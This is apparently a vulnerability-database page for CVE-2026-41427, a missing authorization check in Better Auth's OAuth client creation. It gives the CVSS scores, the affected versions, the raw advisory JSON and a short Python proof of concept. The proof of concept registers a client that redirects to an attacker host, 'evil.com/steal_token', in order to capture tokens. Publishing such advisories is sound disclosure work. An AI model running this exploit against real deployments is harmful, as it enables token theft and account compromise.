Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-41427 CVSS 6.5 MEDIUM

CVE-2026-41427

Published: 2026-04-24 20:16:27
Last Modified: 2026-05-13 19:36:38

Description

Better Auth is an authentication and authorization library for TypeScript. Prior to 1.6.5, the clientPrivileges option documents a create action, but the OAuth client creation endpoints did not invoke the hook before persisting new clients. Deployments that configured clientPrivileges to restrict client registration were not actually restricted β€” any authenticated user could reach the create endpoints and register an OAuth client with attacker-chosen redirect URIs and metadata. This vulnerability is fixed in 1.6.5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:better-auth:better-auth\/oauth-provider:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:better-auth:better-auth\/oauth-provider:1.4.8:-:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:better-auth:better-auth\/oauth-provider:1.4.8:beta7:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:better-auth:better-auth\/oauth-provider:1.7.0:beta0:*:*:*:node.js:*:* - VULNERABLE
Better Auth < 1.6.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Better Auth OAuth Client Creation Bypass # Description: Creates a malicious OAuth client by bypassing clientPrivileges checks. target_url = "https://target-domain.com/api/oauth/client/create" attacker_controlled_redirect = "https://evil.com/steal_token" # Attacker's session cookie (low privilege user) cookies = { "better-auth.session_token": "attacker_low_privilege_token" } # Payload to create a malicious client with arbitrary redirect URI payload = { "name": "Fake App", "redirect_uris": [attacker_controlled_redirect], "scopes": ["read", "write"] } try: response = requests.post(target_url, json=payload, cookies=cookies) if response.status_code == 200: print("[+] PoC Successful: Malicious OAuth client registered.") print(f"[+] Client ID: {response.json().get('client_id')}") else: print(f"[-] PoC Failed: Status {response.status_code}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41427", "sourceIdentifier": "[email protected]", "published": "2026-04-24T20:16:27.390", "lastModified": "2026-05-13T19:36:38.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Better Auth is an authentication and authorization library for TypeScript. Prior to 1.6.5, the clientPrivileges option documents a create action, but the OAuth client creation endpoints did not invoke the hook before persisting new clients. Deployments that configured clientPrivileges to restrict client registration were not actually restricted β€” any authenticated user could reach the create endpoints and register an OAuth client with attacker-chosen redirect URIs and metadata. This vulnerability is fixed in 1.6.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:better-auth:better-auth\\/oauth-provider:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.4.9", "versionEndExcluding": "1.6.5", "matchCriteriaId": "CE35ECEB-5E33-41B9-B2D1-E45759AF936E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:better-auth:better-auth\\/oauth-provider:1.4.8:-:*:*:*:node.js:*:*", "matchCriteriaId": "6DA5C22B-C161-46D4-945E-3041EFA2376C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:better-auth:better-auth\\/oauth-provider:1.4.8:beta7:*:*:*:node.js:*:*", "matchCriteriaId": "823F67C9-1A4F-4491-B4F1-CE9BB49BA6EC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:better-auth:better-auth\\/oauth-provider:1.7.0:beta0:*:*:*:node.js:*:*", "matchCriteriaId": "69DC1E8F-2C5D-4D63-A054-B26028655FD2"}]}]}], "references": [{"url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-xr8f-h2gw-9xh6", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}